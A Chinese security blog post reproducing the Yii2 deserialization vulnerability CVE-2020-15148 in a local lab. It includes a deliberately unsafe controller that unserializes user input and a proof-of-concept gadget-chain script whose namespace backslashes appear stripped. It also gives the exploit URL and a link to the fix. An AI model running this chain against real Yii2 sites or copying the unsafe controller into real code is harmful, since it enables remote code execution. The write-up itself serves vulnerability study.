Yii2 反序列化漏洞(CVE-2020-15148)复现

  • A+
所属分类:安全文章

漏洞概述


Yii是一套基于组件、用于开发大型Web应用的高性能PHP框架。Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize 时,攻击者可通过构造特定的恶意请求执行任意命令。

 

环境搭建


github上下载yii22.0.37版本

https://github.com/yiisoft/yii2/releases/tag/2.0.37

Yii2 反序列化漏洞(CVE-2020-15148)复现

然后修改/config/web.php文件17行cookieValidationKey,可以随便定义

Yii2 反序列化漏洞(CVE-2020-15148)复现

进入目录并开启

php yii server

Yii2 反序列化漏洞(CVE-2020-15148)复现

Yii2 反序列化漏洞(CVE-2020-15148)复现


漏洞复现


这是一个反序列化利用链,所以还需要一个反序列化的入口点

controllers目录下创建一个Controller:

<?phpnamespace appcontrollers;use Yii;use yiiwebController;use yiifiltersVervFilter;use yiifiltersAccessControl;use appmodelsLoginForm;
class TestController extends yiiwebController{ public function actionSss($data){ return unserialize(base64_decode($data)); }}
?>

Yii2 反序列化漏洞(CVE-2020-15148)复现

接着创建文件poc.php

<?phpnamespace yiirest{    class CreateAction{        public $checkAccess;        public $id;
public function __construct(){ $this->checkAccess = 'phpinfo'; $this->id = '1'; } }}
namespace Faker{ use yiirestCreateAction;
class Generator{ protected $formatters;
public function __construct(){ $this->formatters['close'] = [new CreateAction(), 'run']; } }}
namespace yiidb{ use FakerGenerator;
class BatchQueryResult{ private $_dataReader;
public function __construct(){ $this->_dataReader = new Generator; } }}namespace{ echo base64_encode(serialize(new yiidbBatchQueryResult));}?>

Yii2 反序列化漏洞(CVE-2020-15148)复现

执行文件获取poc

php poc.php

Yii2 反序列化漏洞(CVE-2020-15148)复现

执行命令

http://localhost:8080/index.php?r=test/sss&data=[payload]

Yii2 反序列化漏洞(CVE-2020-15148)复现


修复建议

 

Github修复地址:

https://github.com/yiisoft/yii2/security/advisories/GHSA-699q-wcff-g9mj


本文始发于微信公众号(锋刃科技):Yii2 反序列化漏洞(CVE-2020-15148)复现

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: